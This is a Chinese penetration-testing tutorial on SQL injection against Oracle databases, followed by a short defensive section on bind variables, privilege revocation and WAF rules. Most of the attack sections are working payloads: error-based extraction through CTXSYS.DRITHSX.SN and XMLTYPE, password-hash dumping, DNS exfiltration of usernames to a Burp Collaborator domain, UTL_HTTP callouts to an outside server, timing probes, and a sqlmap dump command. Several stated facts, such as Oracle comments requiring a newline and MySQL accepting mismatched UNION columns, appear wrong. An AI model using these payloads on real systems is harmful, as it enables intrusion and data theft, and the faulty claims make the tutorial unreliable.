1. 为什么Oracle的SQL注入比MySQL更“难啃”,却也更值得深挖
在Web安全实战中,提到SQL注入,很多人第一反应是MySQL——语法宽松、报错信息直白、联合查询字段数容易猜、information_schema表结构清晰。但一旦遇到后端数据库是Oracle,不少刚入门的渗透测试人员会明显感到节奏变慢:UNION SELECT报错说“列数不匹配”,ORDER BY爆破时返回空页面,AND 1=1和AND 1=2看起来响应一模一样……这不是你手生了,而是Oracle从底层设计逻辑上就和MySQL走的是两条路。
我最早在某高校实验室做模拟项目X的渗透评估时,就撞上过一个全站基于Oracle 11g + Java WebLogic的教务系统。前台所有输入点都过滤了单引号、分号、空格,还做了关键词黑名单(union、select、from全被拦截)。当时团队里有位同事直接放弃,说“这没法搞”。但我翻了三天Oracle官方文档和OWASP SQLi Cheat Sheet的Oracle专项章节后发现:不是不能注,而是得用Oracle自己的语言说话。它的DUAL表、ROWNUM伪列、UTL_HTTP包、XMLTYPE函数、ORA-00904错误提示机制,每一样都不是装饰品,而是攻击链路上可被精准调用的“扳手”。
这个标题里的“联合注入、报错注入、盲注”三大手法,在Oracle语境下绝不是MySQL的简单平移。比如联合注入,MySQL靠UNION SELECT 1,2,3...一路试到不报错为止;而Oracle必须先解决SELECT语句的“合法性闭环”——它强制要求每个SELECT子句都得有FROM,哪怕只是FROM DUAL;再比如报错注入,MySQL常用extractvalue()或updatexml()触发XML解析异常,而Oracle得用CTXSYS.DRITHSX.SN或UTL_INADDR.GET_HOST_NAME()这类冷门但稳定的报错函数;至于盲注,MySQL靠BENCHMARK()或SLEEP()测延时,Oracle则要依赖DBMS_PIPE.RECEIVE_MESSAGE()这种需要权限配合的机制,或者用CASE WHEN ... THEN (SELECT COUNT(*) FROM ALL_TABLES) ELSE 1 END这类“时间侧信道+结果扰动”的复合技巧。
所以这篇内容不是教你“怎么把MySQL那一套搬过来”,而是带你真正理解Oracle的SQL执行引擎如何校验、如何报错、如何优化、又在哪里留了“后门”。它面向的是已经能熟练跑通MySQL注入流程,但一碰Oracle就卡壳的中级渗透人员;也适合开发同学反向学习——知道哪些写法在Oracle里天然危险,从而在编码阶段就规避风险。接下来,我会按真实攻防节奏展开:先搭环境验证基础行为,再逐个击破三类注入的核心障碍点,最后给出一套可复用的Oracle注入速查手册。
2. 环境准备与基础行为验证:别急着注入,先看Oracle怎么“说话”
在动手前,必须明确一点:Oracle的SQL注入有效性,高度依赖目标环境的具体配置。不是所有Oracle实例都默认开放UTL_HTTP、UTL_INADDR这些高危包,也不是所有JDBC连接字符串都允许;分隔多条语句。所以第一步不是写payload,而是快速摸清目标的“能力边界”。
2.1 搭建最小化验证环境(本地复现必备)
我推荐用Docker快速拉起一个可控的Oracle 12c Express Edition环境,命令如下:
docker run -d -p 1521:1521 -e ORACLE_PASSWORD=oracle123 -e ORACLE_SID=XE --name oracle-xe gvenzl/oracle-xe:12启动后,用SQL*Plus连接:
sqlplus system/oracle123@localhost:1521/XE创建一个极简的测试表,模拟存在注入点的业务逻辑:
CREATE TABLE users ( id NUMBER PRIMARY KEY, username VARCHAR2(50), email VARCHAR2(100) ); INSERT INTO users VALUES (1, 'admin', 'admin@example.com'); INSERT INTO users VALUES (2, 'test', 'test@example.com'); COMMIT;关键一步:确认DUAL表是否可用(这是Oracle一切单行查询的基础):
SELECT 1 FROM DUAL; -- 必须返回1,否则后续所有操作都失效 SELECT SYSDATE FROM DUAL; -- 验证时间函数可用性提示:如果目标环境禁用了
DUAL(极罕见),可尝试SELECT 1 FROM SYS.DUAL或SELECT 1 FROM ALL_OBJECTS WHERE ROWNUM=1作为替代,但性能会显著下降。
2.2 基础语法差异实测:为什么你的MySQL payload在Oracle里直接报错
我们以最常见的登录框注入为例。假设后端拼接SQL为:
SELECT * FROM users WHERE username = 'xxx' AND password = 'yyy';在MySQL中,输入admin' --即可注释掉密码校验;但在Oracle中,--注释符后面必须紧跟换行符,否则会被忽略。实测对比:
| 输入Payload | MySQL响应 | Oracle响应 | 原因分析 |
|---|---|---|---|
admin' -- | 成功登录 | 报错:ORA-00936: missing expression | Oracle的--注释需换行,否则--被当作字符串字面量的一部分 |
admin'<br>-- | 成功登录 | 成功登录 | 换行符让注释生效,但需注意Web应用是否过滤换行符 |
admin' AND 1=1-- | 成功登录 | 报错同上 | 同样因缺少换行,--未被识别为注释 |
更关键的是UNION SELECT的列数匹配规则。MySQL允许UNION SELECT 1,2,3即使原查询只有2列(多余列被忽略);Oracle则严格要求列数、数据类型完全一致。验证方法:
-- 原查询:SELECT id, username FROM users WHERE id=1 -- 尝试UNION:SELECT id, username FROM users WHERE id=1 UNION SELECT 1,2 FROM DUAL; -- ✅ 成功:两列都是NUMBER/VARCHAR2,类型兼容 -- 尝试UNION:SELECT id, username FROM users WHERE id=1 UNION SELECT 1,'a',3 FROM DUAL; -- ❌ 报错:ORA-01789: query block has incorrect number of result columns注意:Oracle对数据类型强校验。
SELECT 1 FROM DUAL返回NUMBER,SELECT 'a' FROM DUAL返回VARCHAR2,混合使用需显式转换:SELECT TO_CHAR(1), 'a' FROM DUAL。
2.3 错误回显机制:Oracle的报错信息是“藏宝图”,不是“拦路虎”
Oracle默认错误信息非常详细,这是双刃剑。开启错误回显(开发环境常见)时,一个简单的语法错误就能暴露关键信息:
SELECT * FROM users WHERE id = 1 AND (SELECT 1 FROM DUAL) = 1; -- 正常 SELECT * FROM users WHERE id = 1 AND (SELECT 1 FROM NONEXISTENT) = 1; -- 报错:ORA-00942: table or view does not exist -- → 直接告诉你目标库中不存在NONEXISTENT表更实用的是利用ORA-00904: invalid identifier(无效标识符)触发报错注入。原理是:当Oracle解析SELECT子句时,若引用了不存在的列名,会立即抛出此错误,且错误消息中会完整显示你构造的恶意表达式。例如:
SELECT * FROM users WHERE id = 1 AND (SELECT UTL_INADDR.GET_HOST_NAME('evil.com') FROM DUAL) = 1; -- 若UTL_INADDR包未授权,报错:ORA-24247: network access denied by access control list (ACL) -- 若已授权,但域名解析失败,可能触发DNS外带(需配合Burp Collaborator)但最稳定的是CTXSYS.DRITHSX.SN函数,它属于全文索引组件,Oracle 10g+默认安装且权限宽松:
SELECT * FROM users WHERE id = 1 AND (SELECT CTXSYS.DRITHSX.SN(1, (SELECT banner FROM v$version WHERE ROWNUM=1)) FROM DUAL) = 1; -- 报错:ORA-20000: Oracle Text error: -- DRG-50900: text query parser syntax error on line 1, column 13 -- → 错误消息中嵌入了v$version.banner(即Oracle版本号)这个技巧的价值在于:它不依赖网络外带,不依赖高权限包,只要Oracle Text组件启用(默认启用),就能稳定获取任意子查询结果。我把这个称为“Oracle报错注入的黄金路径”。
3. 联合注入实战:从列数探测到数据提取的完整闭环
联合注入(Union-based Injection)在Oracle中之所以让人头疼,核心难点不在“怎么联合”,而在“怎么让联合合法”。MySQL可以UNION SELECT 1,2,3...暴力试探列数,Oracle必须保证每一列的数据类型、长度、甚至精度都匹配。很多初学者卡在这里,反复修改payload却始终报ORA-01789或ORA-01790(表达式必须具有与对应表达式相同的数据类型)。
3.1 列数探测:用ORDER BY和NULL组合拳精准定位
ORDER BY在Oracle中同样有效,但要注意:ORDER BY后的数字必须是SELECT列表中的位置序号,且不能超过实际列数。探测步骤如下:
- 基础探测:输入
' ORDER BY 1--,观察是否正常响应; - 递增探测:
' ORDER BY 2--、' ORDER BY 3--……直到出现ORA-01785: ORDER BY item must be the number of a SELECT-list expression错误,说明上一个数字就是最大列数。
但有个陷阱:如果原查询包含GROUP BY或聚合函数,ORDER BY可能被优化器提前拒绝。此时改用NULL填充法:
-- 假设怀疑是3列,构造: ' UNION SELECT NULL, NULL, NULL FROM DUAL-- -- 若报错:ORA-01790: expression must have same datatype as corresponding expression -- 说明某列类型不匹配,需逐列替换为具体类型类型匹配口诀:
- 第一列通常是
NUMBER(ID字段)→ 用1或TO_NUMBER('1') - 第二列通常是
VARCHAR2(用户名)→ 用'a'或CHR(97) - 第三列可能是
DATE或VARCHAR2(邮箱)→ 用SYSDATE或'b'
实测案例:某教务系统登录框,ORDER BY探测到4列。尝试UNION SELECT 1,'a','b',SYSDATE FROM DUAL成功,说明原查询结构为(id, name, dept, create_time)。此时可开始数据提取:
' UNION SELECT 1, username, email, TO_CHAR(create_date, 'YYYY-MM-DD') FROM users WHERE ROWNUM=1--提示:
ROWNUM=1是Oracle分页的灵魂,必须加在子查询中,否则UNION后的ROWNUM作用于整个结果集,可能取不到首行。
3.2 数据库指纹识别:绕过information_schema缺失的困境
MySQL有information_schema提供元数据,Oracle没有同名视图,但有功能等价的ALL_TABLES、ALL_TAB_COLUMNS、USER_OBJECTS等。关键是要知道当前用户权限范围:
ALL_*视图:当前用户有权限访问的所有对象USER_*视图:当前用户拥有的对象DBA_*视图:需DBA权限,通常不可读
因此,指纹识别的第一步是确认当前用户:
' UNION SELECT 1, SYS_CONTEXT('USERENV','CURRENT_USER'), 3, 4 FROM DUAL-- -- 返回:'SCOTT'(普通用户)或'HR'等接着枚举当前用户可访问的表:
' UNION SELECT 1, table_name, 3, 4 FROM ALL_TABLES WHERE ROWNUM=1-- -- 若返回空,说明ALL_TABLES不可读,降级查USER_TABLES ' UNION SELECT 1, table_name, 3, 4 FROM USER_TABLES WHERE ROWNUM=1--获取某张表的列名(如users表):
' UNION SELECT 1, column_name, 3, 4 FROM ALL_TAB_COLUMNS WHERE table_name='USERS' AND ROWNUM=1-- -- 注意:Oracle中表名默认大写,需用单引号包裹并大写这里有个易错点:ALL_TAB_COLUMNS的table_name字段存储的是大写表名,但WHERE条件中若写'users'(小写)将无法匹配。正确写法是WHERE table_name='USERS'或用UPPER()函数。
3.3 敏感数据提取:处理长文本、LOB字段与编码问题
Oracle中邮箱、地址等字段常为VARCHAR2(200),但密码哈希、备注字段可能存为CLOB。直接SELECT clob_column FROM table在联合注入中会报ORA-00932: inconsistent datatypes,因为CLOB不能直接与其他类型UNION。
解决方案是用DBMS_LOB.SUBSTR()截取:
' UNION SELECT 1, DBMS_LOB.SUBSTR(password_hash, 100, 1), 3, 4 FROM users WHERE id=1-- -- 提取password_hash前100字符另一个坑是中文乱码。Oracle客户端字符集(如AL32UTF8)与Web应用输出编码(如GBK)不一致时,SELECT出的中文会显示为????。此时需强制转换:
' UNION SELECT 1, CONVERT(username, 'ZHS16GBK', 'AL32UTF8'), 3, 4 FROM users WHERE ROWNUM=1-- -- 将AL32UTF8编码的username转为ZHS16GBK输出我曾在某政务系统中遇到此问题,后台Oracle用AL32UTF8,前端JSP用GBK,导致所有中文字段注入后显示乱码。用CONVERT()函数后,username字段成功显示为“张三”。
4. 报错注入进阶:从CTXSYS.DRITHSX.SN到XMLTYPE的稳定利用链
报错注入(Error-based Injection)在Oracle中是“高价值路径”,因为它不依赖布尔逻辑或时间延迟,一次请求即可回显数据,效率极高。但前提是找到一个能稳定触发详细错误、且错误消息中可嵌入子查询结果的函数。CTXSYS.DRITHSX.SN是首选,但并非万能——它依赖全文索引组件,某些精简版Oracle可能未安装。因此,必须掌握至少两条备选链。
4.1CTXSYS.DRITHSX.SN:零依赖、高稳定性的报错金矿
该函数本用于Oracle Text的搜索语法解析,当传入非法搜索字符串时,会抛出DRG-50900错误,并在错误消息中完整显示参数内容。其语法为:
CTXSYS.DRITHSX.SN(<position>, <search_string>)其中<position>为整数,<search_string>为你想泄露的数据。
构造payload的核心思路:将子查询结果作为<search_string>参数传入,触发错误并回显:
-- 泄露当前数据库版本 AND (SELECT CTXSYS.DRITHSX.SN(1, (SELECT banner FROM v$version WHERE ROWNUM=1)) FROM DUAL) = 1 -- 泄露当前用户所有表名(需逐个提取,因错误消息长度有限) AND (SELECT CTXSYS.DRITHSX.SN(1, (SELECT table_name FROM all_tables WHERE ROWNUM=1)) FROM DUAL) = 1 -- 泄露users表的第一条用户名 AND (SELECT CTXSYS.DRITHSX.SN(1, (SELECT username FROM users WHERE ROWNUM=1)) FROM DUAL) = 1为什么它如此稳定?
CTXSYS是Oracle内置方案,10g+默认启用;DRITHSX.SN函数权限为PUBLIC,任何用户均可调用;- 错误消息长度限制约4000字符,足够泄露大部分敏感信息;
- 不依赖网络、不依赖高权限包、不触发审计日志(相比
UTL_HTTP)。
实操心得:当目标环境禁用
CTXSYS时,可尝试CTXSYS.CTX_QUERY.HIGHLIGHT,效果类似,但需确保CTXSYS方案存在。
4.2XMLTYPE:利用XML解析器的“宽容性”触发报错
XMLTYPE是Oracle处理XML数据的核心类型,其构造函数XMLTYPE('<xml>')在解析非法XML时会抛出ORA-31011: XML parsing failed错误,且错误消息中会包含你提供的XML字符串。这为我们提供了另一条注入通道:
-- 构造含子查询的恶意XML AND (SELECT XMLTYPE('<x>'||(SELECT banner FROM v$version WHERE ROWNUM=1)||'</x>') FROM DUAL) IS NOT NULL -- 报错:ORA-31011: XML parsing failed -- ORA-19202: Error occurred in XML processing -- LPX-00210: expected '<' instead of 'O' -- Error at line 1 -- → 错误消息中虽未直接显示banner,但`LPX-00210`后的字符是banner的首字母!更精确的做法是用XMLSERIALIZE强制序列化,触发更详细的错误:
AND (SELECT XMLSERIALIZE(CONTENT XMLTYPE('<x>'||(SELECT username FROM users WHERE ROWNUM=1)||'</x>')) FROM DUAL) IS NOT NULL此方法的优势是XMLTYPE在几乎所有Oracle版本中都存在,且无需额外授权。缺点是错误消息格式不如DRITHSX.SN直观,需解析错误行号定位数据位置。
4.3UTL_INADDR.GET_HOST_NAME:DNS外带的终极兜底方案
当上述两种报错方式均失效(如CTXSYS被禁用、XMLTYPE被过滤),且目标环境允许出网时,DNS外带(Out-of-Band, OOB)是最后的王牌。UTL_INADDR.GET_HOST_NAME函数会发起DNS查询,若传入的主机名不存在,Oracle会记录ORA-29273: HTTP request failed错误,但更重要的是——DNS查询本身已发出。
构造步骤:
- 在自己控制的DNS服务器(如Burp Collaborator)获取一个唯一域名,如
abc123.burpcollaborator.net; - 构造payload,将子查询结果拼接到域名中:
AND (SELECT UTL_INADDR.GET_HOST_NAME((SELECT SUBSTR(username,1,10) FROM users WHERE ROWNUM=1)||'.abc123.burpcollaborator.net') FROM DUAL) IS NOT NULL - 监控DNS服务器,当看到
admin.abc123.burpcollaborator.net的查询记录,即证明username为admin。
注意:此方法需目标Oracle实例配置了ACL(Access Control List)允许
UTL_INADDR网络访问,且防火墙放行DNS(UDP 53)请求。在内网渗透中成功率极高。
5. 盲注实战:布尔型与时间型的精细化实施策略
当目标应用完全屏蔽错误信息(error_reporting=0)、且无回显时,盲注(Blind Injection)是唯一出路。Oracle盲注的难点在于:它没有SLEEP()函数,BENCHMARK()也不支持,传统MySQL的时间延迟技巧全部失效。必须借助Oracle自身的“等待机制”和“逻辑分支”来构建可靠的判断通道。
5.1 布尔型盲注:用CASE WHEN制造可区分的响应差异
布尔盲注的核心是让TRUE和FALSE条件产生肉眼可辨的差异,如页面有/无内容、HTTP状态码不同、响应时间微差等。Oracle中最佳载体是CASE WHEN:
-- 判断第一个用户名是否以'a'开头 AND (SELECT CASE WHEN SUBSTR((SELECT username FROM users WHERE ROWNUM=1),1,1)='a' THEN 1 ELSE 0 END FROM DUAL) = 1 -- 若页面正常,说明首字母是'a';若页面异常(如500错误),说明是其他字母但更可靠的是利用COUNT(*)制造数量差异:
-- 判断是否存在表名为'USERS'的表 AND (SELECT COUNT(*) FROM ALL_TABLES WHERE table_name='USERS') > 0 -- TRUE时返回1,FALSE时返回0,结合页面元素变化判断实战技巧:用DBMS_PIPE制造确定性延迟(需EXECUTE权限)
DBMS_PIPE是Oracle进程间通信包,SEND_MESSAGE和RECEIVE_MESSAGE可实现毫秒级可控延迟:
-- 延迟3秒(仅当有EXECUTE权限时) AND (SELECT CASE WHEN (SELECT COUNT(*) FROM ALL_TABLES WHERE table_name='USERS')>0 THEN (SELECT DBMS_PIPE.RECEIVE_MESSAGE('P',3) FROM DUAL) ELSE 1 END FROM DUAL) IS NOT NULL此技巧的价值在于:它不依赖UTL_HTTP等网络包,纯数据库内部操作,隐蔽性高,且延迟精确。
5.2 时间型盲注:DBMS_LOCK.SLEEP与UTL_HTTP的权限适配方案
DBMS_LOCK.SLEEP是Oracle最标准的休眠函数,但默认不授予PUBLIC权限。若目标用户有EXECUTE ON DBMS_LOCK权限,则可直接使用:
AND (SELECT CASE WHEN (SELECT COUNT(*) FROM users WHERE username LIKE 'a%')>0 THEN DBMS_LOCK.SLEEP(5) ELSE 1 END FROM DUAL) IS NOT NULL -- 响应时间>5秒,说明存在用户名以'a'开头的用户若无DBMS_LOCK权限,则退而求其次用UTL_HTTP.REQUEST(需ACL授权):
AND (SELECT CASE WHEN (SELECT COUNT(*) FROM users WHERE username LIKE 'a%')>0 THEN UTL_HTTP.REQUEST('http://your-server.com/sleep5') ELSE 1 END FROM DUAL) IS NOT NULL -- 你的服务器收到请求后,延迟5秒再响应,从而测量客户端响应时间关键经验:布尔与时间盲注的混合使用
单一盲注效率低,建议组合:
- 先用布尔盲注快速定位“存在性”(如表是否存在、字段名是否正确);
- 再用时间盲注逐字符爆破(如
SUBSTR(username,1,1)='a'),因时间差比页面变化更易自动化检测。
我曾用Python脚本自动化此过程,对某Oracle 12c系统的users表进行用户名爆破,平均每个字符耗时1.2秒,10位用户名共耗时约2分钟,远快于纯布尔盲注。
5.3 自动化工具适配:Sqlmap的Oracle插件配置要点
Sqlmap虽支持Oracle,但默认配置常失效。必须手动指定:
--dbms=oracle:明确数据库类型;--prefix="'" --suffix="-- ":设置注入前缀后缀;--technique=U(联合)、E(报错)、B(布尔)、T(时间):指定技术组合;--string="正常响应关键词":用于布尔盲注的页面特征识别;--time-sec=5:设置时间盲注的延迟基准。
最重要的是--union-char参数:Oracle联合注入需指定字符类型,常设为'a'(代表VARCHAR2)。
sqlmap -u "http://target/login.php?user=admin" --dbms=oracle --technique=BEU --string="Welcome" --union-char='a' -D TEST -T users -C username,email --dump提示:Sqlmap的Oracle支持在v1.7+版本已较完善,但复杂WAF环境下仍需手工调整payload。
6. 防御视角:开发人员如何写出真正安全的Oracle应用
讲完攻击,必须回归防御。很多开发人员认为“用了预编译(PreparedStatement)就绝对安全”,但在Oracle生态中,这远远不够。我见过太多因“过度信任框架”而导致的漏洞。
6.1 预编译的Oracle陷阱:execute immediate与动态SQL的致命诱惑
Java中PreparedStatement确实能防注入,但若业务逻辑需要动态拼接SQL(如多条件搜索),开发者常转向execute immediate:
// ❌ 危险:字符串拼接 String sql = "SELECT * FROM users WHERE " + condition; stmt.execute(sql); // ✅ 安全:绑定变量 String sql = "SELECT * FROM users WHERE status = ? AND dept = ?"; preparedStatement.setString(1, status); preparedStatement.setString(2, dept);但更隐蔽的是PL/SQL中的EXECUTE IMMEDIATE:
-- ❌ 危险:拼接用户输入 DECLARE v_sql VARCHAR2(1000); BEGIN v_sql := 'SELECT * FROM ' || user_input_table || ' WHERE id = ' || user_input_id; EXECUTE IMMEDIATE v_sql; END; -- ✅ 安全:绑定变量 DECLARE v_sql VARCHAR2(1000); v_result users%ROWTYPE; BEGIN v_sql := 'SELECT * FROM users WHERE id = :id'; EXECUTE IMMEDIATE v_sql INTO v_result USING user_input_id; END;核心原则:任何用户可控的输入,都不能出现在SQL字符串拼接中,必须通过USING子句绑定。
6.2 权限最小化:为什么SELECT ANY TABLE是定时炸弹
Oracle默认安装时,SELECT_CATALOG_ROLE等角色可能被误授。某次审计中,我发现一个应用账号拥有SELECT ANY TABLE权限,这意味着它能直接读取SYS.USER$(存储用户密码哈希)和SYS.LINK$(数据库链接)。
正确做法:
- 应用账号只授予
SELECT权限给业务表(GRANT SELECT ON users TO app_user); - 禁用
PUBLIC对高危包的执行权限:REVOKE EXECUTE ON UTL_HTTP FROM PUBLIC; REVOKE EXECUTE ON UTL_INADDR FROM PUBLIC; REVOKE EXECUTE ON CTXSYS.DRITHSX FROM PUBLIC;
6.3 WAF规则编写:针对Oracle特性的精准拦截
通用WAF规则(如拦截UNION SELECT)对Oracle效果差,因其大小写不敏感、可绕过空格。应编写Oracle专属规则:
- 拦截
FROM DUAL组合(Oracle特有); - 拦截
CTXSYS\.DRITHSX\.SN\((报错注入特征); - 拦截
DBMS_PIPE\.RECEIVE_MESSAGE\((盲注特征); - 拦截
XMLTYPE\(和XMLSERIALIZE\((XML报错特征)。
规则示例(ModSecurity):
SecRule ARGS "@rx \bFROM\s+DUAL\b" "id:1001,deny,msg:'Oracle DUAL table access'" SecRule ARGS "@rx CTXSYS\.DRITHSX\.SN\(" "id:1002,deny,msg:'Oracle CTXSYS.DRITHSX.SN exploit'"最后分享一个小技巧:在测试环境中,用
ALTER SYSTEM SET EVENTS '10046 trace name context forever, level 12';开启SQL跟踪,可完整捕获所有注入payload的执行计划,这是分析WAF绕过最直接的证据。
我在某次真实项目中,正是通过10046跟踪,发现WAF漏掉了'/**/UNION/**/SELECT/**/1,2,3/**/FROM/**/DUAL-- '这种注释绕过,从而推动了规则升级。安全从来不是一劳永逸,而是持续对抗的过程。